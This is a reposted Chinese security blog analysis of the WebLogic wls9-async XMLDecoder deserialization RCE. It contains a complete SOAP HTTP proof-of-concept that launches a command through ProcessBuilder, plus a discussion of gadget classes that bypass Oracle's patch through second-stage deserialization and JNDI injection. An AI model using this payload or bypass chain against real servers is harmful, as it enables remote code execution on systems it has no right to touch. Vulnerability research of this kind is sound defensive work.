转载

weblogic wls9-async组件rce漏洞分析

前言

在4月17,cnvd通报了一个weblogic的rce漏洞, 链接在此

发现是由于async_response这个war包导致的,乍一看这个洞就跟2017的wsat组件很相似。都是因为xmldecoder反序列化导致的rce。

分析

首先给出调用栈:

BaseWSServlet (service)->BaseWSServlet (run)

->SoapProcessor (process)->WsSkel (invoke)

->ServerDispatcher (dispatch)->HandlerIterator (handleRequest)

->WorkAreaServerHandler (handleRequest)

->WorkContextLocalMap (receiveRequest)

->WorkContextEntryImpl (readEntry)->readUTF->readObject

然后就是动态调试过程了。

首先将weblogic以debug模式启动,然后idea导入jar包并attach上就可以动态调试了。

调用栈给出来了,其实流程就不需要怎么细说了。主要说一下poc构造中的几个注意的点。

在HandlerIterator中调用handleRequest函数时,有一个for循环来遍历hanlders,如图所示:

weblogic wls9-async组件rce漏洞分析

首先看一下这个this.handlers的值:

weblogic wls9-async组件rce漏洞分析

有三个handler是我们需要注意的,第一个是ServerAddressingHandler。这个Hanlder组装我们soap中的各种元素并设置,比如Action和RelatesTo。

weblogic wls9-async组件rce漏洞分析

第二个就是AsyncResponseHandler。这个中会判断是否存在RelatesTo。如果没有就直接return false了。

weblogic wls9-async组件rce漏洞分析

所以我们在poc中要设置addressing.RelatesTo和addressing.Action。

第三个就是在WorkAreaServerHanlder中进行xmldecoder的反序列化。也就是真正的rce触发点了。关于WorkAreaServerHanlder如何触发xmldecoder的反序列化,这里我就不赘述,大家可以去看CVE-2017-10271的分析, 链接在此

weblogic wls9-async组件rce漏洞分析

几个注意事项都说了,然后就是根据wsdl文件来组建soap消息了。wsdl文件内容如下:

weblogic wls9-async组件rce漏洞分析

所以最后得出来的最基础的poc如下

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 820

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService">  
<soapenv:Header> 
<wsa:Action>test</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<java class="java.beans.XMLDecoder"> 
<void class="java.lang.ProcessBuilder"> 
<array class="java.lang.String" length="1"> 
<void index="0"> 
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
</void>  
</array>  
<void method="start"/>
</void> 
</java> 
</work:WorkContext> 
     </soapenv:Header>  
     <soapenv:Body>
    <balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery>
     </soapenv:Body> 
</soapenv:Envelope>

绕过

上述poc的局限性非常大,如果打了2017年十月份补丁的,这个poc是打不了的,由于手上并没有具体的补丁,所以只能靠网上给出的核心补丁代码进行分析:

public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase(“object”)){
throw newIllegalStateException(“Invalid element qName:object”);
} else if(qName.equalsIgnoreCase(“new”)){
throw newIllegalStateException(“Invalid element qName:new”);
} else if(qName.equalsIgnoreCase(“method”)){
throw newIllegalStateException(“Invalid element qName:method”);
} else {
if(qName.equalsIgnoreCase(“void”)) {
for(int attClass = 0; attClass< attributes.getLength(); ++attClass) {
if(!”index”.equalsIgnoreCase(attributes.getQName(attClass))) {
throw newIllegalStateException(“Invalid attribute for element void:” +attributes.getQName(attClass));
}
}
}

这里最尴尬的其实就是对于void标签的过滤,导致void标签里除了index外不能有其他属性值,所以上述的poc就不能用了,也不能自由调类的静态函数啥的了,但是我们仍然可以调用类的构造函数来实现绕过。类的构造函数有这么几种情况是可以利用的:

  1. 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
  2. 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
  3. 构造函数直接有执行命令的操作,执行命令可控。
  4. 有其它的可能导致rce的操作,比如表达式注入之类的。

其实找利用是一个很费劲的活儿。跟小组小伙伴一起寻找了一番。其实第三种我觉得是基本不可能的,曾经对第一种希望很大,但是也并没有找到,最终找到的可能利用的类如下:

  1. oracle.toplink.internal.sessions.UnitOfWorkChangeSet (只存在于10.3.6)
  2. oracle.jms.plsql.MapMsgEntity (存在于10.3.6和12.1.3)
  3. org.slf4j.ext.EventData (存在于12.1.3)
  4. com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext (存在于10.3.6和12.1.3)

然后分别来看一下这三个类的构造函数到底是怎样的。

UnitOfWorkChangeSet:

weblogic wls9-async组件rce漏洞分析

构造函数传入byte,然后进行二次反序列化,可以绕过。但是进一步利用仍然需要找一个pop链才行,以为yso里会有可用的,比较了一番.除了一个jdk7u21的..发现好像并没有,但jdk7u21限制太大了,需要再找找更好用的。

最终盯上了

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager这个类的readObject方法,看一下具体内容:

weblogic wls9-async组件rce漏洞分析

readObject中调用了一个initUserTransactionAndTransactionManager方法,跟进去看看:

weblogic wls9-async组件rce漏洞分析

这里将this.userTransactionName传递到了lookupUserTransaction函数中,继续跟进查看:

weblogic wls9-async组件rce漏洞分析

调用lookup,可以造成jndi注入。因此该pop链可用,虽然也会受到jdk版本的限制,但是比那个jdk7u21好得多了。

MapMsgEntity

这个类的构造函数如下:

weblogic wls9-async组件rce漏洞分析

这个类乍一眼看跟上个类差不多,也是传递进来一个byte数组然后二次反序列化。

但是在实际测试测时候发现了有问题,会报这个错误:

weblogic wls9-async组件rce漏洞分析

经过排查,是因为xmldecoder用的 getConstructors,只能返回public构造函数。而该类的构造函数未被public声明,所以会找不到,因此该类无法利用。

EventData

这个类的利用可谓是简单粗暴,构造函数如下:

weblogic wls9-async组件rce漏洞分析

是不是很眼熟?对,就是类似一个"二次漏洞触发点"这种操作。所以这个是最好用的,不用受到jdk版本限制,但是比较可惜的是,这个类只在12.1.3版本中存在,在10.3.6中并没有。

FileSystemXmlApplicationContext

其实当时以为可以直接用FileSystemXmlApplicationContext的gadget来打。但是实践后发现并不行, 发现好像跟jackson的那个利用还是有区别,就是少了分析表达式的那一步。导致并不能利用,看一下这两者代码的区别:

weblogic wls9-async组件rce漏洞分析

weblogic wls9-async组件rce漏洞分析

有点迷醉….唯独少了这一行代码…感觉是不行的。

补丁

weblogic针对绕过发布了新的补丁,补丁让人比较难受的一点,就是把class标签给过滤掉了:

weblogic wls9-async组件rce漏洞分析

所有后续看看还能不能绕吧….

总结

虽然可以绕过,但是几种方法,要么受weblogic版本限制,要么受jdk版本限制。并没有找到一个通用的Poc。比较遗憾。

感谢D0g3-Team的小伙伴(Lucifaer,orich1)的帮助。

原文  http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi
正文到此结束
Loading...